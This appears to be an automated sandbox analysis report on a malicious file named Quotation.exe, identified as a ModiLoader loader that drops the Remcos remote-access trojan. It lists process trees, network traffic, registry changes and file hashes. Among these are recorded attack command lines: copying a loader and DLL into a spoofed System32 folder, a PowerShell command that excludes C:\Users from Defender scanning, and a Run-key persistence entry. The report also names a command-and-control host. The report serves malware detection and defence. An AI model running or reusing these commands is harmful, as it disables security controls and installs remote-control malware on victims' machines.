Analysis Overview
SHA256
aeee6a9e26b4d62ec9258b1b2d30aea108deefc6001c54fbb6704c1d72010eed
Threat Level: Known bad
The file Quotation.exe was found to be: Known bad.
Malicious Activity Summary
ModiLoader, DBatLoader
Remcos
ModiLoader Second Stage
Loads dropped DLL
Executes dropped EXE
Adds Run key to start application
Program crash
Unsigned PE
Suspicious use of AdjustPrivilegeToken
Script User-Agent
Suspicious behavior: EnumeratesProcesses
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Enumerates system info in registry
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-04-09 09:10
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-04-09 09:10
Reported
2024-04-09 09:12
Platform
win7-20240221-en
Max time kernel
140s
Max time network
123s
Command Line
Signatures
ModiLoader, DBatLoader
ModiLoader Second Stage
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\Quotation.exe |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1912 wrote to memory of 2036 | N/A | C:\Users\Admin\AppData\Local\Temp\Quotation.exe | C:\Windows\SysWOW64\WerFault.exe |
| PID 1912 wrote to memory of 2036 | N/A | C:\Users\Admin\AppData\Local\Temp\Quotation.exe | C:\Windows\SysWOW64\WerFault.exe |
| PID 1912 wrote to memory of 2036 | N/A | C:\Users\Admin\AppData\Local\Temp\Quotation.exe | C:\Windows\SysWOW64\WerFault.exe |
| PID 1912 wrote to memory of 2036 | N/A | C:\Users\Admin\AppData\Local\Temp\Quotation.exe | C:\Windows\SysWOW64\WerFault.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\Quotation.exe
"C:\Users\Admin\AppData\Local\Temp\Quotation.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1912 -s 704
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | onedrive.live.com | udp |
| US | 13.107.137.11:443 | onedrive.live.com | tcp |
| US | 13.107.137.11:443 | onedrive.live.com | tcp |
Files
memory/1912-0-0x00000000003F0000-0x00000000003F1000-memory.dmp
memory/1912-1-0x00000000031C0000-0x00000000041C0000-memory.dmp
memory/1912-2-0x00000000031C0000-0x00000000041C0000-memory.dmp
memory/1912-4-0x00000000003F0000-0x00000000003F1000-memory.dmp
memory/1912-5-0x0000000000400000-0x0000000000573000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-04-09 09:10
Reported
2024-04-09 09:12
Platform
win10v2004-20240226-en
Max time kernel
161s
Max time network
162s
Command Line
Signatures
ModiLoader, DBatLoader
Remcos
ModiLoader Second Stage
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows \System32\easinvoker.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows \System32\easinvoker.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Fkmbyyso = "C:\\Users\\Public\\Fkmbyyso.url" | C:\Users\Admin\AppData\Local\Temp\Quotation.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier | C:\Windows\SysWOW64\xcopy.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier | C:\Windows\SysWOW64\xcopy.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier | C:\Windows\SysWOW64\xcopy.exe | N/A |
Script User-Agent
| Description | Indicator | Process | Target |
| HTTP User-Agent header | Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) | N/A | N/A |
| HTTP User-Agent header | Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Quotation.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\Quotation.exe
"C:\Users\Admin\AppData\Local\Temp\Quotation.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\FkmbyysoO.bat" "
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
C:\Windows\SysWOW64\xcopy.exe
xcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
C:\Windows\SysWOW64\xcopy.exe
xcopy "Aaa.bat" "C:\Windows \System32\" /K /D /H /Y
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
C:\Windows\SysWOW64\xcopy.exe
xcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y
C:\Windows \System32\easinvoker.exe
"C:\Windows \System32\easinvoker.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\windows \system32\aaa.bat""
C:\Windows\system32\cmd.exe
cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
C:\Windows\SysWOW64\extrac32.exe
C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\Quotation.exe C:\\Users\\Public\\Libraries\\Fkmbyyso.PIF
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 4.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | onedrive.live.com | udp |
| US | 13.107.137.11:443 | onedrive.live.com | tcp |
| US | 13.107.137.11:443 | onedrive.live.com | tcp |
| US | 8.8.8.8:53 | g17tua.am.files.1drv.com | udp |
| US | 13.107.43.12:443 | g17tua.am.files.1drv.com | tcp |
| US | 8.8.8.8:53 | 11.137.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 12.43.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| N/A | 127.0.0.1:47212 | tcp | |
| US | 8.8.8.8:53 | officerem.duckdns.org | udp |
| US | 23.95.235.29:47212 | officerem.duckdns.org | tcp |
| US | 8.8.8.8:53 | 101.58.20.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 29.235.95.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | geoplugin.net | udp |
| NL | 178.237.33.50:80 | geoplugin.net | tcp |
| US | 8.8.8.8:53 | 50.33.237.178.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 216.197.17.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.197.17.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.73.42.20.in-addr.arpa | udp |
Files
memory/4968-0-0x0000000000770000-0x0000000000771000-memory.dmp
memory/4968-1-0x0000000004140000-0x0000000005140000-memory.dmp
memory/4968-2-0x0000000004140000-0x0000000005140000-memory.dmp
memory/4968-4-0x0000000000400000-0x0000000000573000-memory.dmp
C:\Users\Public\Libraries\FkmbyysoO.bat
| MD5 | 828ffbf60677999579dafe4bf3919c63 |
| SHA1 | a0d159a1b9a49e9eaccc53fe0c3266c0526a1bdc |
| SHA256 | abac4a967800f5da708572ec42441ec373cd52459a83a8a382d6b8579482789d |
| SHA512 | bf00909e24c5a6fb2346e8457a9adacd5f1b35988d90abbde9ff26896bbb59edafea60d9db4d10182a7b5e129bb69585d3e20bc5c63af3517b3a7ef1e45ffb7e |
C:\Users\Public\Libraries\easinvoker.exe
| MD5 | 231ce1e1d7d98b44371ffff407d68b59 |
| SHA1 | 25510d0f6353dbf0c9f72fc880de7585e34b28ff |
| SHA256 | 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96 |
| SHA512 | 520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612 |
C:\Users\Public\Libraries\aaa.bat
| MD5 | f4e8f0ec6cfc5c6039402322685cb6ce |
| SHA1 | 1037835573c2886dda05d256f15306da89dc645e |
| SHA256 | cd05094e213643d624996b98e14aa5f7a2363f63530fe0c99523f6948effe756 |
| SHA512 | c5f9dfbbdb437c8ef9e2dd53fcbafcb256ab4626b4637a21332b3112c20f0d5353674031aae21b57604ba80d3b3f51f11b0ed412ed5fa6641b32fc4793746e02 |
C:\Users\Public\Libraries\netutils.dll
| MD5 | 30468939b69d5b1f29494fff5b161e6b |
| SHA1 | 3f900a76e5a00efd97c618c8cdaa55e66384618f |
| SHA256 | 7c6b2128913876dcb70603f2c00618d2e9057f381766565baf2a37100b85f1fd |
| SHA512 | f59fc26b77b28bc0dce41f2542c95a0fcb32204cc2d840d7cf8e74e10fbfc238f0c360e3bb5d787f32c83668ad10bbe522e098ede52f178dd8555c7af530f27f |
memory/3944-24-0x00000000613C0000-0x00000000613E3000-memory.dmp
memory/3128-27-0x00007FF841410000-0x00007FF841ED1000-memory.dmp
memory/3128-26-0x0000029506930000-0x0000029506952000-memory.dmp
memory/3128-28-0x0000029506920000-0x0000029506930000-memory.dmp
memory/3128-34-0x0000029506920000-0x0000029506930000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zc3igslv.lvi.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3128-39-0x0000029506920000-0x0000029506930000-memory.dmp
memory/3128-42-0x00007FF841410000-0x00007FF841ED1000-memory.dmp
memory/4968-44-0x0000000000770000-0x0000000000771000-memory.dmp
memory/4968-50-0x0000000016680000-0x0000000017680000-memory.dmp
memory/4968-52-0x0000000016680000-0x0000000017680000-memory.dmp
memory/4968-53-0x0000000016680000-0x0000000017680000-memory.dmp
memory/4968-54-0x0000000016680000-0x0000000017680000-memory.dmp
memory/4968-55-0x0000000016680000-0x0000000017680000-memory.dmp
memory/4968-56-0x0000000016680000-0x0000000017680000-memory.dmp
memory/4968-59-0x0000000016680000-0x0000000017680000-memory.dmp
memory/4968-60-0x0000000016680000-0x0000000017680000-memory.dmp
memory/4968-61-0x0000000016680000-0x0000000017680000-memory.dmp
C:\ProgramData\remcos\logs.dat
| MD5 | 51ee5cdebd3df9844eb6a91a8cb8eeb3 |
| SHA1 | c03e979d4b3616d0b3a27ec2454ec5114f7ed143 |
| SHA256 | c21eb89008eff7b5a74de8f1f06bb2deb24a48f5c7071ebcb36692b5eef25655 |
| SHA512 | d23a552eae2792751d08b79eb04ab98e414ed7c77486e7a54701cd679000c8e26d65b09034c69e9e6dcaeb1636ab6a5c4b4bced03558f8c8a37ad0a28afebe2f |
memory/4968-71-0x0000000016680000-0x0000000017680000-memory.dmp
memory/4968-72-0x0000000016680000-0x0000000017680000-memory.dmp
memory/4968-82-0x0000000016680000-0x0000000017680000-memory.dmp
memory/4968-83-0x0000000016680000-0x0000000017680000-memory.dmp
memory/4968-93-0x0000000016680000-0x0000000017680000-memory.dmp
memory/4968-94-0x0000000016680000-0x0000000017680000-memory.dmp
memory/4968-104-0x0000000016680000-0x0000000017680000-memory.dmp
memory/4968-105-0x0000000016680000-0x0000000017680000-memory.dmp